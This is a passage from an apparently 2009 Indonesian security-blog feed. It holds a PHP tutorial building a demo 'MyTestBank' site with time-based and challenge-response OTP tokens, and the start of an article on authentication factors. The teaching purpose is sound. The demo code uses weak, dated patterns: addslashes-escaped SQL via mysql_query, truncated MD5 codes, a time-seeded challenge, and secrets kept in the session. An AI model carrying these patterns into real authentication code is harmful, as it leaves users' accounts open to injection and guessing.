 <span style="color: #000088;">$maxperiod</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">60</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// in seconds = +/- 3 minutes</span>
 <span style="color: #000088;">$time</span><span style="color: #339933;">=</span><span style="color: #990000;">gmdate</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;U&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$time</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$maxperiod</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$time</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$maxperiod</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$md5</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$initsecret</span><span style="color: #339933;">.</span><span style="color: #000088;">$chal</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$otp</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$md5</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Check Response/Only Mode</span>
<span style="color: #000000; font-weight: bold;">function</span> checkRO<span style="color: #009900;">&#40;</span><span style="color: #000088;">$otp</span><span style="color: #339933;">,</span><span style="color: #000088;">$initsecret</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
 <span style="color: #000088;">$maxperiod</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">60</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// in seconds = +/- 3 minutes</span>
 <span style="color: #000088;">$time</span><span style="color: #339933;">=</span><span style="color: #990000;">gmdate</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;U&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$time</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$maxperiod</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$time</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$maxperiod</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$md5</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$initsecret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$otp</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$md5</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">return</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">
Perbedaan kedua fungsi itu hanya pada adanya $chal pada fungsi checkCR() sedangkan pada fungsi checkRO() yang digabungkan hanya epoch dan initsecret. Mari kita ulas kedua fungsi tersebut karena inti dari aplikasi ini ada pada kedua fungsi itu.
</p>
<p style="text-align: justify;">
Dalam artikel sebelumnya saya sudah menjelaskan mengenai time window atau toleransi yang diberikan server ketika melakukan otentikasi. Dalam contoh ini time window yang diberikan server adalah 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server melakukan otentikasi. Waktu (dalam detik EPOCH) ketika server melakukan otentikasi disimpan pada variabel $time (baris ke-5 dan baris ke-18), sehingga server harus menghitung semua otp dari $time-180 hingga $time+180 (3 menit ke belakang dan 3 menit ke depan) pada baris ke-6 dan baris-19.
</p>
<p align="justify">
Selanjutnya pada barus ke-8 dan baris ke-21 server menghitung otp dengan mengambil 6 karakter awal dari fungsi hash gabungan dari epoch+initsecret dan challenge (khusus untuk checkCR).
</p>
<p style="text-align: justify;">
Di bawah ini adalah source untuk file login.php. Untuk melakukan otentikasi, login.php memanggil fungsi checkRO() pada baris ke-12. Namun untuk memanggil fungsi checkRO() dibutuhkan init secret dari user yang disimpan dalam tabel users sehingga server harus melakukan query ke tabel users (baris ke-8). Selanjutnya bila otentikasi berhasil server akan menyimpan username dan initsecret pada session kemudian mengalihkan user ke aplikasi transfer (transfer.php).
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;initdb.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;lib.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;login&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #990000;">addslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;username&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$pin</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;pin&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;select initsecret from users where username='<span style="color: #006699; font-weight: bold;">$username</span>' &quot;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$res</span><span style="color: #339933;">=</span><span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$arr_row</span><span style="color: #339933;">=</span><span style="color: #990000;">mysql_fetch_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$initsecret</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$arr_row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$success</span> <span style="color: #339933;">=</span> checkRO<span style="color: #009900;">&#40;</span><span style="color: #000088;">$pin</span><span style="color: #339933;">,</span><span style="color: #000088;">$initsecret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$success</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;username&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$username</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;initsecret&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$initsecret</span><span style="color: #339933;">;</span>			
			<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: transfer.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$err</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Wrong PIN, Try Again.&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$err</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;Wrong PIN, Try Again.&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;html&gt;
&lt;body&gt;
&lt;H1&gt;Login Internet Banking MyTestBank&lt;/H1&gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$err</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;font color=red&gt;&lt;B&gt;<span style="color: #006699; font-weight: bold;">$err</span>&lt;/b&gt;&lt;/font&gt;&quot;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;form method=&quot;post&quot; action=&quot;&quot;&gt;
&lt;table border=1&gt;
&lt;tr&gt;
	&lt;td&gt;Username&lt;/td&gt;
	&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;username&quot; /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;td&gt;Token PIN:&lt;/td&gt;
	&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;pin&quot; /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
	&lt;td colspan=2 align=center&gt;&lt;input type=&quot;submit&quot; name=&quot;login&quot; value=&quot;Login&quot; /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p align="justify">
Di bawah ini adalah source untuk file transfer.php. Untuk melakukan otentikasi server memanggil fungsi checkCR() pada baris ke-13. Fungsi checkCR ini membutuhkan init secret, challenge yang diambil dari session. Kemudian server akan memberikan pesan &#8220;Transfer Success&#8221; atau &#8220;Wrong PIN&#8221; tergantung dari hasil fungsi checkCR().
</p>
<p align="justify">
Pada baris ke-21 dan ke-22 server membangkitkan nilai acak sepanjang 4 digit sebagai challenge. Challenge ini disimpan dalam session agar tidak bisa dimanipulasi user. Bila challenge disimpan sebagai hidden field dalam form, maka user bisa bebas mengubah isi challenge itu.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;initdb.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;lib.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;initsecret&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: login.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;login&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$username</span> <span style="color: #339933;">=</span> <span style="color: #990000;">addslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;username&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$pin</span> <span style="color: #339933;">=</span> <span style="color: #990000;">addslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;pin&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$initsecret</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;initsecret&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$challenge</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;challenge&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$success</span> <span style="color: #339933;">=</span> checkCR<span style="color: #009900;">&#40;</span><span style="color: #000088;">$challenge</span><span style="color: #339933;">,</span><span style="color: #000088;">$pin</span><span style="color: #339933;">,</span><span style="color: #000088;">$initsecret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$success</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$msg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;font color=green&gt;Transfer Success&lt;/font&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$msg</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;font color=red&gt;Wrong PIN&lt;/font&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span> 
<span style="color: #990000;">srand</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$challenge</span> <span style="color: #339933;">=</span> <span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #009933; font-weight: bold;">%04d</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">rand</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">9999</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;challenge&quot;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$challenge</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;html&gt;
&lt;body&gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;B&gt;<span style="color: #006699; font-weight: bold;">$msg</span>&lt;/b&gt;&quot;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;h1&gt;Transfer Form&lt;/h1&gt;
&lt;form method=&quot;post&quot; action=&quot;&quot;&gt; 
No Rekening Tujuan: &lt;input type=&quot;text&quot; name=&quot;norek&quot; /&gt;&lt;br/&gt;
Jumlah: Rp. &lt;input type=&quot;text&quot; name=&quot;jumlah&quot; /&gt;&lt;br/&gt;
Challenge Code: <span style="color: #000000; font-weight: bold;">&lt;?=</span> <span style="color: #000088;">$challenge</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;i&gt;(Masukkan kode ini ke dalam token anda)&lt;/i&gt;&lt;br/&gt;
Token PIN : &lt;input type=&quot;text&quot; name=&quot;pin&quot; /&gt;&lt;i&gt;(Masukkan response dari token anda)&lt;/i&gt;&lt;br/&gt;
&lt;input type=&quot;submit&quot; name=&quot;login&quot; value=&quot;Transfer&quot; /&gt;&lt;br/&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p align="justify">
Anda bisa mendownload semua source php di <a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/mytestbank.zip">sini</a>.
</p>
<p><b>Test</b></p>
<p align="justify">
Sebelum mencoba pertama saya harus menyamakan jam di token (handphone) dengan jam di server. Setelah sama baru kita uji coba aplikasi ini dengan skenario berikut:
</p>
<p align="justify">
Nasabah myTestBank ingin memakai aplikasi internet banking myTestBank untuk mentransfer sejumlah uang. Untuk itu dia baru saja mendownload <a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/MobileOTP.jar">Midlet Token</a> dan menginstallnya ke HPnya. Token midlet tersebut diinisialisasi dengan nilai init secret 369e4a62be0e579a. Setelah mendaftar user tersebut mendapat username rizki. Untuk menggunakan fasilitas ini dia harus membuka browser ke URL https://localhost/mytestbank/login.php .
</p>
<p align="justify">
Selain menyamakan jam di token dan di server, init secret di token dan di server harus sama. Gambar di bawah ini menunjukkan bahwa init secret di hape saya sudah sama dengan yang di tabel users MySQL.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/initsecret-server-token.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/initsecret-server-token.png" alt="initsecret-server-token" title="initsecret-server-token" width="600" height="480" class="aligncenter size-full wp-image-1520" /></a></p>
<p align="justify">
Kini user sudah siap mencoba untuk login ke aplikasi MyTestBank di URL https://localhost/mytestbank/login.php . Berikut ini adalah screen capture ketika user login.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/loginotp.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/loginotp.jpg" alt="loginotp" title="loginotp" width="600" height="647" class="aligncenter size-full wp-image-1526" /></a></p>
<p align="justify">
Setelah login berhasil, kemudian user dihadapkan pada form untuk melakukan transfer uang. Berikut ini adalah screen shot pada browser dan hp user ketika user melakukan transfer.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/transferformOTP.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/transferformOTP.jpg" alt="transferformOTP" title="transferformOTP" width="600" height="406" class="aligncenter size-full wp-image-1527" /></a></p>
<p align="justify">
Setelah memasukkan OTP dengan benar, server memberikan informasi &#8220;Transfer Success&#8221;. Kini user telah berhasil melakukan transfer. Berikut adalah screenshot ketika transfer berhasil dilakukan.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/transfersuccess.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/transfersuccess.png" alt="transfersuccess" title="transfersuccess" width="351" height="295" class="aligncenter size-full wp-image-1529" /></a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=AQr7mo4LRpE:LAVeEXQdx8M:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=AQr7mo4LRpE:LAVeEXQdx8M:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=AQr7mo4LRpE:LAVeEXQdx8M:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=AQr7mo4LRpE:LAVeEXQdx8M:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=AQr7mo4LRpE:LAVeEXQdx8M:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=AQr7mo4LRpE:LAVeEXQdx8M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=AQr7mo4LRpE:LAVeEXQdx8M:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=AQr7mo4LRpE:LAVeEXQdx8M:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/membuat-web-dengan-otentikasi-berbasis-token/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Memahami Cara Kerja Token Internet Banking</title>
		<link>http://www.ilmuhacking.com/web-security/memahami-cara-kerja-token-internet-banking/</link>
		<comments>http://www.ilmuhacking.com/web-security/memahami-cara-kerja-token-internet-banking/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 09:12:19 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[internet banking]]></category>
		<category><![CDATA[otp]]></category>
		<category><![CDATA[token]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1441</guid>
		<description><![CDATA[Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_1475" class="wp-caption alignleft" style="width: 210px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/token-internet-banking-200.jpg"><img class="size-full wp-image-1475" title="token-internet-banking-200" src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/token-internet-banking-200.jpg" alt="photo by:hendriadi.wordpress.com" width="200" height="143" /></a><p class="wp-caption-text">photo:hendriadi.wordpress.com</p></div>
<p align="justify">Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu bisa menghasilkan angka yang juga diketahui oleh server internet banking, padahal alat itu tidak terbubung dengan server. Dalam artikel ini saya akan menjelaskan cara kerja token internet banking, dan dalam artikel berikutnya saya akan membuat token berbasis software dan website sederhana yang akan mensimulasikan internet banking.</p>
<p><span id="more-1441"></span></p>
<p><strong>Authentication Method</strong><strong> </strong></p>
<p style="text-align: justify;">Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:</p>
<ol>
<li><strong>Something You Know</strong></li>
<p style="text-align: justify;">Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.</p>
<li><strong>Something You Have</strong></li>
<p style="text-align: justify;">Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.</p>
<li><strong>Something You Are</strong></li>
<p style="text-align: justify;">Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.</p>
</ol>
<p style="text-align: justify;">Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu &#8220;<strong>Something You Can</strong>&#8220;.  Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.</p>
<p style="text-align: justify;"><strong>Two Factor Authentication</strong></p>
<p style="text-align: justify;">Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi &#8220;something you have&#8221; berupa kartu ATM dengan &#8220;something you know&#8221; berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.</p>
